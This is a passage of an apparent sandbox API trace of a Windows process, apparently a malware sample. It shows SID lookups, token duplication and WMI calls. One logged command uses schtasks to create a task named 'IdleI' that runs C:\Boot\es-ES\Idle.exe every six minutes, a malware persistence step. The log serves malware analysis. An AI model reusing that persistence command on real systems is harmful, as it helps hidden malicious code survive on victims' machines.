_Src=0x139658, _Size=0x16 | out: _Dst=0x1175fa) returned 0x1175fa [0133.134] free (_Block=0x2aefa0) [0133.134] free (_Block=0x2af0c0) [0133.134] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0133.134] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0133.134] malloc (_Size=0x18) returned 0x2af0c0 [0133.134] malloc (_Size=0x18) returned 0x2aefa0 [0133.134] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0133.134] SysStringLen (param_1="-") returned 0x1 [0133.134] memcpy (in: _Dst=0x118268, _Src=0x1175e8, _Size=0x28 | out: _Dst=0x118268) returned 0x118268 [0133.134] memcpy (in: _Dst=0x11828e, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x11828e) returned 0x11828e [0133.134] free (_Block=0x2aefc0) [0133.134] free (_Block=0x2af0c0) [0133.135] malloc (_Size=0x18) returned 0x2af0c0 [0133.135] malloc (_Size=0x18) returned 0x2aefc0 [0133.135] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0133.135] SysStringLen (param_1="4223814209") returned 0xa [0133.135] memcpy (in: _Dst=0x12d918, _Src=0x118268, _Size=0x2a | out: _Dst=0x12d918) returned 0x12d918 [0133.135] memcpy (in: _Dst=0x12d940, _Src=0x1395c8, _Size=0x16 | out: _Dst=0x12d940) returned 0x12d940 [0133.135] free (_Block=0x2aefa0) [0133.135] free (_Block=0x2af0c0) [0133.135] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0133.135] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0133.135] malloc (_Size=0x18) returned 0x2af0c0 [0133.135] malloc (_Size=0x18) returned 0x2aefa0 [0133.135] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0133.135] SysStringLen (param_1="-") returned 0x1 [0133.135] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x3e | out: _Dst=0x107588) returned 0x107588 [0133.135] memcpy (in: _Dst=0x1075c4, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x1075c4) returned 0x1075c4 [0133.135] free (_Block=0x2aefc0) [0133.135] free (_Block=0x2af0c0) [0133.135] malloc (_Size=0x18) returned 0x2af0c0 [0133.135] malloc (_Size=0x18) returned 0x2aefc0 [0133.136] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0133.136] SysStringLen (param_1="3835049652") returned 0xa [0133.136] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x40 | out: _Dst=0x12d918) returned 0x12d918 [0133.136] memcpy (in: _Dst=0x12d956, _Src=0x1395c8, _Size=0x16 | out: _Dst=0x12d956) returned 0x12d956 [0133.136] free (_Block=0x2aefa0) [0133.136] free (_Block=0x2af0c0) [0133.136] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0133.136] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0133.136] malloc (_Size=0x18) returned 0x2af0c0 [0133.136] malloc (_Size=0x18) returned 0x2aefa0 [0133.136] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0133.136] SysStringLen (param_1="-") returned 0x1 [0133.136] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x54 | out: _Dst=0x107588) returned 0x107588 [0133.136] memcpy (in: _Dst=0x1075da, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x1075da) returned 0x1075da [0133.136] free (_Block=0x2aefc0) [0133.136] free (_Block=0x2af0c0) [0133.136] malloc (_Size=0x18) returned 0x2af0c0 [0133.136] malloc (_Size=0x18) returned 0x2aefc0 [0133.136] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0133.136] SysStringLen (param_1="1000") returned 0x4 [0133.136] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x56 | out: _Dst=0x12d918) returned 0x12d918 [0133.137] memcpy (in: _Dst=0x12d96c, _Src=0x1395c8, _Size=0xa | out: _Dst=0x12d96c) returned 0x12d96c [0133.137] free (_Block=0x2aefa0) [0133.137] free (_Block=0x2af0c0) [0133.137] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0133.137] malloc (_Size=0x5e) returned 0x2b08a0 [0133.137] free (_Block=0x2aefc0) [0133.137] malloc (_Size=0x18) returned 0x2aefc0 [0133.137] free (_Block=0x2b08a0) [0133.137] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0133.138] GetLastError () returned 0x7a [0133.138] malloc (_Size=0x14) returned 0x2af0c0 [0133.138] malloc (_Size=0x16) returned 0x2aefa0 [0133.138] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af0c0, cchName=0xe7ca94, ReferencedDomainName=0x2aefa0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0133.139] malloc (_Size=0x18) returned 0x2af0e0 [0133.139] malloc (_Size=0x18) returned 0x2af000 [0133.139] free (_Block=0x2af0c0) [0133.139] free (_Block=0x2aefa0) [0133.139] free (_Block=0x2b0000) [0133.140] free (_Block=0x2af000) [0133.140] free (_Block=0x2af0e0) [0133.140] free (_Block=0x2aefc0) [0133.140] free (_Block=0x2ae2e0) [0133.140] malloc (_Size=0x48) returned 0x2ad270 [0133.141] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0133.181] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0133.182] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0133.183] malloc (_Size=0x18) returned 0x2aefc0 [0133.183] CreateEnvironmentBlock () returned 0x1 [0133.188] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0133.188] malloc (_Size=0x18) returned 0x2af0e0 [0133.188] CreateProcessAsUserW (in: hToken=0x2d0, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"IdleI\" /sc MINUTE /mo 6 /tr \"'C:\\Boot\\es-ES\\Idle.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x16ebf0, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"IdleI\" /sc MINUTE /mo 6 /tr \"'C:\\Boot\\es-ES\\Idle.exe'\" /f", lpProcessInformation=0xe7cba0*(hProcess=0x2f8, hThread=0x248, dwProcessId=0xf14, dwThreadId=0xf18)) returned 1 [0133.192] CloseHandle (hObject=0x2f8) returned 1 [0133.192] CloseHandle (hObject=0x248) returned 1 [0133.193] free (_Block=0x2af0e0) [0133.193] DestroyEnvironmentBlock () returned 0x1 [0133.193] malloc (_Size=0x48) returned 0x2ad220 [0133.193] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1e6333c0, dwHighDateTime=0x1d8a92a)) [0133.193] SetEvent (hEvent=0x1f0) returned 1 [0133.193] CloseHandle (hObject=0x2dc) returned 1 [0133.193] CloseHandle (hObject=0x2d0) returned 1 [0133.301] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd960 [0133.301] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd960, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0133.301] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0133.650] SetLastError (dwErrCode=0x0) [0133.650] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0133.650] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0133.650] SetLastError (dwErrCode=0x0) [0133.650] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0133.650] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0133.651] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0133.651] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f0a0 [0133.651] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f0a0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0133.651] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f0a0 | out: hHeap=0xc0000) returned 1 [0133.653] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0133.654] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0133.654] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0133.654] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0133.654] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0133.654] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0133.654] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0133.656] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0133.656] GetCurrentThread () returned 0xfffffffffffffffe [0133.656] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2d0) returned 1 [0133.656] malloc (_Size=0xd8) returned 0x2b35c0 [0133.656] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0133.657] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0133.657] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0133.657] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0133.657] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0133.658] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0133.658] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0133.658] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0133.658] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0133.658] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0133.658] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0133.658] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0133.659] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0133.659] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0133.659] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0133.659] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0133.659] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0133.659] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0133.660] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0133.660] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0133.660] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0133.660] malloc (_Size=0x18) returned 0x2aef80 [0133.660] DuplicateTokenEx (in: hExistingToken=0x2d0, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2dc) returned 1 [0133.660] malloc (_Size=0x48) returned 0x2ad3b0 [0133.660] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1eaa9d00, dwHighDateTime=0x1d8a92a)) [0133.660] SetEvent (hEvent=0x1f0) returned 1 [0133.665] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0133.665] GetLastError () returned 0x7a [0133.665] malloc (_Size=0x2c) returned 0x2ae2a0 [0133.665] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0133.665] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0133.665] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0133.665] malloc (_Size=0x1c) returned 0x2affd0 [0133.665] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affd0, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0133.665] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0133.665] malloc (_Size=0x18) returned 0x2aefc0 [0133.665] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0133.665] malloc (_Size=0x18) returned 0x2af0e0 [0133.665] malloc (_Size=0x18) returned 0x2af000 [0133.666] SysStringLen (param_1="S-1-") returned 0x4 [0133.666] SysStringLen (param_1="5") returned 0x1 [0133.666] memcpy (in: _Dst=0x1398f8, _Src=0x139568, _Size=0xa | out: _Dst=0x1398f8) returned 0x1398f8 [0133.666] memcpy (in: _Dst=0x139900, _Src=0x139748, _Size=0x4 | out: _Dst=0x139900) returned 0x139900 [0133.666] free (_Block=0x2aefc0) [0133.666] free (_Block=0x2af0e0) [0133.666] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0133.666] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0133.666] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0133.666] malloc (_Size=0x18) returned 0x2af0e0 [0133.666] malloc (_Size=0x18) returned 0x2aefc0 [0133.666] SysStringLen (param_1="S-1-5") returned 0x5 [0133.666] SysStringLen (param_1="-") returned 0x1 [0133.666] memcpy (in: _Dst=0x139748, _Src=0x1398f8, _Size=0xc | out: _Dst=0x139748) returned 0x139748 [0133.666] memcpy (in: _Dst=0x139752, _Src=0x139568, _Size=0x4 | out: _Dst=0x139752) returned 0x139752 [0133.666] free (_Block=0x2af000) [0133.666] free (_Block=0x2af0e0) [0133.666] malloc (_Size=0x18) returned 0x2af0e0 [0133.667] malloc (_Size=0x18) returned 0x2af000 [0133.667] SysStringLen (param_1="S-1-5-") returned 0x6 [0133.667] SysStringLen (param_1="21") returned 0x2 [0133.667] memcpy (in: _Dst=0x139568, _Src=0x139748, _Size=0xe | out: _Dst=0x139568) returned 0x139568 [0133.667] memcpy (in: _Dst=0x139574, _Src=0x1398f8, _Size=0x6 | out: _Dst=0x139574) returned 0x139574 [0133.667] free (_Block=0x2aefc0) [0133.667] free (_Block=0x2af0e0) [0133.667] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0133.667] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0133.667] malloc (_Size=0x18) returned 0x2af0e0 [0133.667] malloc (_Size=0x18) returned 0x2aefc0 [0133.667] SysStringLen (param_1="S-1-5-21") returned 0x8 [0133.667] SysStringLen (param_1="-") returned 0x1 [0133.667] memcpy (in: _Dst=0x1398f8, _Src=0x139568, _Size=0x12 | out: _Dst=0x1398f8) returned 0x1398f8 [0133.667] memcpy (in: _Dst=0x139908, _Src=0x139748, _Size=0x4 | out: _Dst=0x139908) returned 0x139908 [0133.667] free (_Block=0x2af000) [0133.667] free (_Block=0x2af0e0) [0133.667] malloc (_Size=0x18) returned 0x2af0e0 [0133.667] malloc (_Size=0x18) returned 0x2af000 [0133.667] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0133.668] SysStringLen (param_1="4219442223") returned 0xa [0133.668] memcpy (in: _Dst=0x1179a8, _Src=0x1398f8, _Size=0x14 | out: _Dst=0x1179a8) returned 0x1179a8 [0133.668] memcpy (in: _Dst=0x1179ba, _Src=0x139568, _Size=0x16 | out: _Dst=0x1179ba) returned 0x1179ba [0133.668] free (_Block=0x2aefc0) [0133.668] free (_Block=0x2af0e0) [0133.668] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0133.668] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0133.668] malloc (_Size=0x18) returned 0x2af0e0 [0133.668] malloc (_Size=0x18) returned 0x2aefc0 [0133.668] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0133.668] SysStringLen (param_1="-") returned 0x1 [0133.668] memcpy (in: _Dst=0x1182b8, _Src=0x1179a8, _Size=0x28 | out: _Dst=0x1182b8) returned 0x1182b8 [0133.668] memcpy (in: _Dst=0x1182de, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x1182de) returned 0x1182de [0133.668] free (_Block=0x2af000) [0133.668] free (_Block=0x2af0e0) [0133.668] malloc (_Size=0x18) returned 0x2af0e0 [0133.668] malloc (_Size=0x18) returned 0x2af000 [0133.668] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0133.669] SysStringLen (param_1="4223814209") returned 0xa [0133.669] memcpy (in: _Dst=0x12d808, _Src=0x1182b8, _Size=0x2a | out: _Dst=0x12d808) returned 0x12d808 [0133.669] memcpy (in: _Dst=0x12d830, _Src=0x1398f8, _Size=0x16 | out: _Dst=0x12d830) returned 0x12d830 [0133.669] free (_Block=0x2aefc0) [0133.669] free (_Block=0x2af0e0) [0133.669] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0133.669] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0133.669] malloc (_Size=0x18) returned 0x2af0e0 [0133.669] malloc (_Size=0x18) returned 0x2aefc0 [0133.669] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0133.669] SysStringLen (param_1="-") returned 0x1 [0133.669] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x3e | out: _Dst=0x12db38) returned 0x12db38 [0133.669] memcpy (in: _Dst=0x12db74, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x12db74) returned 0x12db74 [0133.669] free (_Block=0x2af000) [0133.669] free (_Block=0x2af0e0) [0133.669] malloc (_Size=0x18) returned 0x2af0e0 [0133.669] malloc (_Size=0x18) returned 0x2af000 [0133.669] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0133.669] SysStringLen (param_1="3835049652") returned 0xa [0133.670] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x40 | out: _Dst=0x12d808) returned 0x12d808 [0133.670] memcpy (in: _Dst=0x12d846, _Src=0x1398f8, _Size=0x16 | out: _Dst=0x12d846) returned 0x12d846 [0133.670] free (_Block=0x2aefc0) [0133.670] free (_Block=0x2af0e0) [0133.670] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0133.670] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0133.670] malloc (_Size=0x18) returned 0x2af0e0 [0133.670] malloc (_Size=0x18) returned 0x2aefc0 [0133.670] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0133.670] SysStringLen (param_1="-") returned 0x1 [0133.670] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x54 | out: _Dst=0x12db38) returned 0x12db38 [0133.670] memcpy (in: _Dst=0x12db8a, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x12db8a) returned 0x12db8a [0133.670] free (_Block=0x2af000) [0133.670] free (_Block=0x2af0e0) [0133.670] malloc (_Size=0x18) returned 0x2af0e0 [0133.670] malloc (_Size=0x18) returned 0x2af000 [0133.670] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0133.670] SysStringLen (param_1="1000") returned 0x4 [0133.670] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x56 | out: _Dst=0x12d808) returned 0x12d808 [0133.670] memcpy (in: _Dst=0x12d85c, _Src=0x1398f8, _Size=0xa | out: _Dst=0x12d85c) returned 0x12d85c [0133.670] free (_Block=0x2aefc0) [0133.671] free (_Block=0x2af0e0) [0133.671] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0133.671] malloc (_Size=0x5e) returned 0x2b08a0 [0133.671] free (_Block=0x2af000) [0133.671] malloc (_Size=0x18) returned 0x2af000 [0133.671] free (_Block=0x2b08a0) [0133.671] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0133.672] GetLastError () returned 0x7a [0133.672] malloc (_Size=0x14) returned 0x2af0e0 [0133.672] malloc (_Size=0x16) returned 0x2aefc0 [0133.672] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af0e0, cchName=0xe7ca84, ReferencedDomainName=0x2aefc0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0133.673] malloc (_Size=0x18) returned 0x2aefa0 [0133.673] malloc (_Size=0x18) returned 0x2af0c0 [0133.673] free (_Block=0x2af0e0) [0133.673] free (_Block=0x2aefc0) [0133.673] free (_Block=0x2affd0) [0133.674] free (_Block=0x2af0c0) [0133.674] free (_Block=0x2aefa0) [0133.674] free (_Block=0x2af000) [0133.674] free (_Block=0x2ae2a0) [0133.674] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: 